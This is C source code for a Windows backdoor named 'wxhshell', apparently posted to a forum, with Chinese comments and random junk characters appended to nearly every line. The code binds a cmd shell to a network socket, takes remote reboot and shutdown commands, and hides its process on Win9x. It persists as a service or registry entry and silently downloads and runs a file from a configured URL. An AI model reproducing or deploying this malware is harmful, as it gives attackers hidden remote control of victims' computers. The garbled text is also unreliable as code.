  else { w]Z:Y`  
IRB BLXv7\  
    switch(cmd[0]) { g)Dg=3+>  
  Sv|jR r'  
  // 帮助 / WJ+e  
  case '?': { R7~#7qKQB  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X1~ WQ?ww  
    break; Y8%*S%yO  
  } vHxLn/  
  // 安装 bf-V Q7  
  case 'i': { i[a1ij=  
    if(Install()) CxJkT2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =/L;}m)7  
    else $VyH2+ jC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V [r1bF  
    break; Pvu*Y0_p  
    } CWS&f g%o{  
  // 卸载 a<mM )[U  
  case 'r': { \XT~5N6  
    if(Uninstall()) )MU)'1jc,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o<nkK+=Afm  
    else QPT%CW61M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yOXL19d@p_  
    break; D0a3%LBS/2  
    } k&SI -jxj  
  // 显示 wxhshell 所在路径 ^h\Y.  
  case 'p': { 6=i@t tAK  
    char svExeFile[MAX_PATH]; kxVR#:  
    strcpy(svExeFile,"\n\r"); +LeM[XX  
      strcat(svExeFile,ExeFile); x4nmDEpa  
        send(wsh,svExeFile,strlen(svExeFile),0); 7\sRf/  
    break; `u7"s'  
    } iP^o]4[c  
  // 重启 "Zq)y_1  
  case 'b': { S67>yqha  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -iJ @K  
    if(Boot(REBOOT)) ;Alw`'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EwH_k  
    else { <\C/;  
    closesocket(wsh); } qn@8}  
    ExitThread(0); i*-L_!cc:  
    } 0) T`&u3!  
    break; Ed=]RR 4R  
    } E{B=%ZNnm  
  // 关机 |$aTJ9 Iq:  
  case 'd': { F1UTj "<e  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #> @~3kGg  
    if(Boot(SHUTDOWN)) b Q6<R4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dyMj=e  
    else { Ua= w;h  
    closesocket(wsh); q]>m#yk   
    ExitThread(0);  (:ObxJ*  
    } "J(W)\  
    break; UOAL7  
    } pz]#/Ry?  
  // 获取shell Zbobi,  
  case 's': { ppu WcGo  
    CmdShell(wsh); 8*t8F\U#  
    closesocket(wsh); FqpUw<]6s  
    ExitThread(0); ^wm>\o;  
    break; &]mZp&  
  } re;^,  
  // 退出 HHU0Nku@ho  
  case 'x': { gV-x1s+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x]%'^7#v)  
    CloseIt(wsh); KaGG4?=V  
    break; \6z_ ;  
    } [[sfuJD  
  // 离开 6I`Lszs  
  case 'q': { EA+}Rf6}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); slWO\AYiO  
    closesocket(wsh); rfVHPMD0  
    WSACleanup(); P&0o~@`cL  
    exit(1); I"1H]@"=  
    break; Y4.t:Uzr  
        } zPKx: I3  
  } }g\1JSJ%H  
  } drc]"6 k  
7-u['nFJ  
  // 提示信息 q!+&|F  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L 2k?Pl  
} C_~hX G  
  } X|iWnz+^  
V<%eWT)x7C  
  return;  edv&!  
} FhkS"y  
$xl>YYEBMH  
// shell模块句柄 C%l+<wpXO  
int CmdShell(SOCKET sock) S[zX@3eZV  
{ wmQT$`$b  
STARTUPINFO si; ~7}aW#  
ZeroMemory(&si,sizeof(si)); eXdE?j  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z+G.v=2q<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y$7vJl.uS/  
PROCESS_INFORMATION ProcessInfo; 8:)W!tr  
char cmdline[]="cmd"; ,fa'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2[8C?7_K0?  
  return 0; r%^l~PN  
} Gec?  
^[]@dk9  
// 自身启动模式 c4'k-\JvT  
int StartFromService(void) f1_b``M  
{ #OT8_D  
typedef struct {r,MRZaa  
{ !lk -MN.  
  DWORD ExitStatus; [m9Iz!E  
  DWORD PebBaseAddress; %Ct^{k~1  
  DWORD AffinityMask; nGqD{!i<  
  DWORD BasePriority; O ^+H:Y|  
  ULONG UniqueProcessId; x]=s/+Y  
  ULONG InheritedFromUniqueProcessId; 7ZsBYP8%  
}   PROCESS_BASIC_INFORMATION; p]-\\o}  
sOY+ X  
PROCNTQSIP NtQueryInformationProcess; bz1+AJG  
Mt93YD-2+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :~Z -K\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }CCTz0[D"  
d}Y\; '2,  
  HANDLE             hProcess; aGR!T{`   
  PROCESS_BASIC_INFORMATION pbi; "nzQ$E>?$  
9 Y-y?Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J:!m49fF  
  if(NULL == hInst ) return 0; p!OCF]r  
dN%*-p(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Fzc8)*w  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8`{)1.d5[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'kC,pN{->  
N-9Vx#i  
  if (!NtQueryInformationProcess) return 0; Sl!#!FGI  
/YLHg5n8+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); R|&Rq(ow"  
  if(!hProcess) return 0; Sz_{#-  
Z?);^m|T  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o;zU;pkB  
Mkj`  
  CloseHandle(hProcess); |K(2_Wp  
|g@n'^]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5C|Y-G  
if(hProcess==NULL) return 0; T.}wcQf&*  
e@ mjh,  
HMODULE hMod;  `u 't  
char procName[255]; ~fV\ X*  
unsigned long cbNeeded; ^]cl:m=*  
'<JNS8h  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); D["~G v  
E0s|eA&  
  CloseHandle(hProcess); (T9Q6 \sa  
DT Cwf  
if(strstr(procName,"services")) return 1; // 以服务启动 \{8?HjJEM  
]+ KN9  
  return 0; // 注册表启动 L*QX21@wC  
} 5uidi  
S#{jyU9 ]  
// 主模块 b5@sG^  
int StartWxhshell(LPSTR lpCmdLine) sYG:\>}ie  
{ )9]DJ!]&Q"  
  SOCKET wsl; <y}9Twdy  
BOOL val=TRUE; l 10p'9 n  
  int port=0; g5OKhL0u  
  struct sockaddr_in door; x%!Ea{ s  
n`Y"b&  
  if(wscfg.ws_autoins) Install(); tpY]Mz[J  
v><c@a=[  
port=atoi(lpCmdLine); :]rb}1nLB  
`k.Tfdu)K  
if(port<=0) port=wscfg.ws_port;  mdtG W  
'e(]woe  
  WSADATA data; ^7Hwpn7E  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )-s9CWJv  
Mjon++>Z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   w wuM!Z+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <3)k M&.B  
  door.sin_family = AF_INET; sP'U9l  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Sk6B>O<:  
  door.sin_port = htons(port); zJ $&`=  
'-l.2IUyT  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q^w@l   
closesocket(wsl); E xls_oSp  
return 1; }mYxI^n  
} 7K 'uNPC  
zzH^xxg  
  if(listen(wsl,2) == INVALID_SOCKET) { )z^NJ'v4(  
closesocket(wsl); lZr}F.7  
return 1; w!eY)p<  
} {M^BY,%*  
  Wxhshell(wsl); [KMNMg  
  WSACleanup(); w:VD[\h  
+L,V_z  
return 0;  3cA '9  
* @=ZzL  
} x##0s5Qn  
Uk'bOp  
// 以NT服务方式启动 E~y( @72)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Vm*E^ v  
{ )4e8LO  
DWORD   status = 0; z @21Z`,  
  DWORD   specificError = 0xfffffff; L+X:M/)  
)vsX (/WU  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <0!O'" "J  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; II'"Nkxd  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9R m\@E [  
  serviceStatus.dwWin32ExitCode     = 0; I !J'  
  serviceStatus.dwServiceSpecificExitCode = 0; jf^BEz5  
  serviceStatus.dwCheckPoint       = 0; EvKzpxCh  
  serviceStatus.dwWaitHint       = 0; X=KC +1e  
W8_$]}G8E  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); sx n{uRF  
  if (hServiceStatusHandle==0) return; !kS/Ei  
~Jh1$O,9o  
status = GetLastError(); 3OB=D{$V  
  if (status!=NO_ERROR) x:6c@2  
{ 5~[m]   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Fy$f`w_H@  
    serviceStatus.dwCheckPoint       = 0; 2 oo/KndU  
    serviceStatus.dwWaitHint       = 0; `tPVNO,l  
    serviceStatus.dwWin32ExitCode     = status; 6Qk[TL)t  
    serviceStatus.dwServiceSpecificExitCode = specificError; < 2SWfH1>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %X BMi ~  
    return; Nl'@Y^8N  
  } Lb,wn{  
d.0K~M   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; QnA~,z/ .w  
  serviceStatus.dwCheckPoint       = 0; ]Zz.n5c  
  serviceStatus.dwWaitHint       = 0; ueyQ&+6r  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2}n7f7[/b  
} \2^o,1r/  
+'$5Jtz  
// 处理NT服务事件,比如:启动、停止 SU5O+;{`'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G1fC'6$3  
{ cN-$;Ent  
switch(fdwControl) c;Gf$9?iC  
{ c`@";+|r  
case SERVICE_CONTROL_STOP: PbnAY{J  
  serviceStatus.dwWin32ExitCode = 0; rS!M0Hq>t  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; a*&(cn  
  serviceStatus.dwCheckPoint   = 0; q5G`q&O5  
  serviceStatus.dwWaitHint     = 0; {e5DQ21.  
  { iax0V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bd\%K`JQ{  
  } s1]m^,  
  return; G}Ko*:fWS  
case SERVICE_CONTROL_PAUSE: ?C`r3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *XOLuPL>6)  
  break; X;1yQ |su  
case SERVICE_CONTROL_CONTINUE: 3$_JNF`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; dmWCNeja.  
  break; T#<Q[h=  
case SERVICE_CONTROL_INTERROGATE: (6Ciqf8  
  break; I^Dm 3yz  
}; N8iLI`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "~mY4WVG  
} a4[t3U  
Q5b9q$L$  
// 标准应用程序主函数 >xXC=z+g]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) nMK$&h,{  
{ !QpOrg  
}xry  
// 获取操作系统版本 NBL%5!'  
OsIsNt=GetOsVer(); H:)_;k  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @^R l{p  
UM/!dt}DnF  
  // 从命令行安装 =I aWf  
  if(strpbrk(lpCmdLine,"iI")) Install(); c5_/i7  
iu?gZVyka  
  // 下载执行文件 {_mVfFG  
if(wscfg.ws_downexe) { G c \^Kg^#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gyb99c,)  
  WinExec(wscfg.ws_filenam,SW_HIDE); UiVGOQq  
} d_Jj&:"l  
Z5 p [*LMO  
if(!OsIsNt) { h*R w^5,c  
// 如果时win9x,隐藏进程并且设置为注册表启动 {a__/I>)  
HideProc(); !6l*Jc3  
StartWxhshell(lpCmdLine); PXyv);#Q`  
} Ze[,0Y!u&  
else ?;y-skh  
  if(StartFromService()) >C19Kie72  
  // 以服务方式启动 ]}kw'&  
  StartServiceCtrlDispatcher(DispatchTable); 'J$@~P  
else 9GRQ^E  
  // 普通方式启动 eyuyaSE  
  StartWxhshell(lpCmdLine); ):_@i  
e=nvm'[h  
return 0; q|:wzdmNZ  
}
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只看该作者 1 发表于: 2006-10-10
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